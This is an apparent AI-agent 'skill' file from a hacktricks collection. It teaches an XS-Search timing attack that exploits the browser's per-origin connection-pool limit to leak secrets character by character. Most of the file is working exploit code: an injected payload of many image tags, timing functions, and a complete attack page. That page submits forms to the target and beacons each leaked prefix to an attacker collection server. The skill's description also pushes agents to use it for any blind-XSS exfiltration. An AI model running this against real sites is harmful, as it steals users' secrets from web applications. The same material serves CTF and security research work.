Hacktricks-skills connection-pool-timing-attack
How to perform timing-based XSS attacks exploiting browser connection pool limits. Use this skill whenever you need to leak data through timing side-channels, exploit Chrome's 6 concurrent connection limit per origin, perform blind XSS exfiltration, or extract secrets when direct data exfiltration is blocked. Make sure to use this skill for any timing-based attack, connection pool exploitation, or when you need to extract data from a blind XSS scenario where traditional exfiltration methods are blocked.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/pentesting-web/xs-search/connection-pool-by-destination-example/SKILL.MDConnection Pool Timing Attack
A technique to leak data through timing side-channels by exploiting browser connection pool limits (Chrome allows 6 concurrent connections per origin).
Attack Overview
This attack works by:
- Injecting a payload with many
tags loading a resource from the target origin<img> - Triggering the connection pool limit (6 concurrent requests max in Chrome)
- Timing a request to the same origin
- Detecting whether the pool is blocked (slow = injection active) or free (fast = injection inactive)
- Iterating through possible characters to extract secrets
When to Use This Attack
- Blind XSS scenarios where you can't directly exfiltrate data
- When the target has conditional resource loading based on input
- CTF challenges with timing-based vulnerabilities
- When traditional XSS exfiltration (beacon, fetch, img) is blocked
- When you need to extract secrets character-by-character
Attack Pattern
Step 1: Create Payload with Many Image Tags
Inject a note/payload containing:
- The secret prefix + test character
- 70+
tags pointing to a resource on the target origin<img>
const payload = `${prefix}${letter}` + Array.from(Array(78)) .map((e, i) => `<img/src=/js/purify.js?${i}>`) .join("")
Step 2: Time a Request to the Same Origin
function timeScript() { return new Promise((resolve) => { var x = document.createElement("script") x.src = "https://target.com/js/purify.js?" + Math.random() var start = Date.now() x.onerror = () => { resolve(Date.now() - start) x.remove() } document.body.appendChild(x) }) }
Step 3: Compare Timing
- Slow (>100ms): Connection pool is blocked → injection was active → character matches
- Fast (<100ms): Connection pool is free → injection was inactive → character doesn't match
Step 4: Iterate Through Alphabet
const alphabet = "zyxwvutsrqponmlkjihgfedcba_" for (const letter of alphabet) { if (await checkLetter(letter)) { prefix += letter break } }
Complete Attack Template
<html> <head> <script> const SITE_URL = "https://target.com/" const PING_URL = "https://your-server.com/collect" const TIMEOUT = 500 const alphabet = "zyxwvutsrqponmlkjihgfedcba_" var prefix = "FLAG{" function timeScript() { return new Promise((resolve) => { var x = document.createElement("script") x.src = SITE_URL + "js/purify.js?" + Math.random() var start = Date.now() x.onerror = () => { resolve(Date.now() - start) x.remove() } document.body.appendChild(x) }) } async function add_note(note) { let x = document.createElement("form") x.action = SITE_URL + "create" x.method = "POST" x.target = "xxx" let i = document.createElement("input") i.type = "text" i.name = "text" i.value = note x.appendChild(i) document.body.appendChild(x) x.submit() } async function remove_note(note_id) { let x = document.createElement("form") x.action = SITE_URL + "remove" x.method = "POST" x.target = "_blank" let i = document.createElement("input") i.type = "text" i.name = "index" i.value = note_id x.appendChild(i) document.body.appendChild(x) x.submit() } const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms)) async function checkLetter(letter) { const payload = `${prefix}${letter}` + Array.from(Array(78)) .map((e, i) => `<img/src=/js/purify.js?${i}>`) .join("") await add_note(payload) await sleep(TIMEOUT) await timeScript() await remove_note(1) await sleep(TIMEOUT) const time = await timeScript() navigator.sendBeacon(PING_URL, [letter, time]) return time > 100 } window.onload = async () => { navigator.sendBeacon(PING_URL, "start") for (const letter of alphabet) { if (await checkLetter(letter)) { prefix += letter navigator.sendBeacon(PING_URL, prefix) break } } } </script> </head> <body></body> </html>
Key Parameters to Tune
| Parameter | Default | Purpose |
|---|---|---|
| 500ms | Wait time between operations |
| 100ms | Timing threshold for detection |
| 78 | Number of img tags (must exceed 6) |
| a-z_ | Characters to test |
Detection Threshold
The threshold (100ms in the example) should be calibrated based on:
- Network latency to the target
- Server response time
- Number of concurrent connections being blocked
Calibration method:
- Run the attack without the injection active
- Measure baseline timing
- Set threshold to baseline + margin (e.g., 2x baseline)
Browser Compatibility
| Browser | Connection Limit | Notes |
|---|---|---|
| Chrome | 6 per origin | Primary target |
| Firefox | 6 per origin | Similar behavior |
| Safari | 6 per origin | May vary by version |
Limitations
- Slow: Character-by-character extraction takes time
- Unreliable: Network jitter can cause false positives
- Requires: Conditional resource loading on target
- Browser-dependent: Connection limits vary by browser
Variations
Using Images Instead of Scripts
function timeImage() { return new Promise((resolve) => { var img = new Image() img.src = SITE_URL + "js/purify.js?" + Math.random() var start = Date.now() img.onload = img.onerror = () => { resolve(Date.now() - start) } }) }
Using Fetch API
async function timeFetch() { const start = Date.now() try { await fetch(SITE_URL + "js/purify.js?" + Math.random()) } catch (e) {} return Date.now() - start }
Testing Checklist
- Confirm target has conditional resource loading
- Verify connection pool limit on target browser
- Calibrate timing threshold
- Test with known input first
- Set up beacon server to collect results
- Account for network latency
References
- Original exploit by @terjanq
- Chrome connection pool limits: 6 concurrent connections per origin
- Timing side-channel attacks in XSS contexts